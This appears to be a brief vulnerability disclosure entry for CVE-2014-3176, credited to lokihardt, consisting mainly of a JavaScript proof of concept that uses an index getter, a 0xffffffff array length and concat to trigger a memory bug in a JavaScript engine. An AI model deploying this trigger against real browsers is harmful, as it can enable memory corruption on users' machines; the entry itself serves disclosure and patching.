CVE-2014-3176 Date: Jun 20 Credit: lokihardt PoC a = [1]; b = []; a.__defineGetter__(0, function () { b.length = 0xffffffff; }); c = a.concat(b); Reference Issue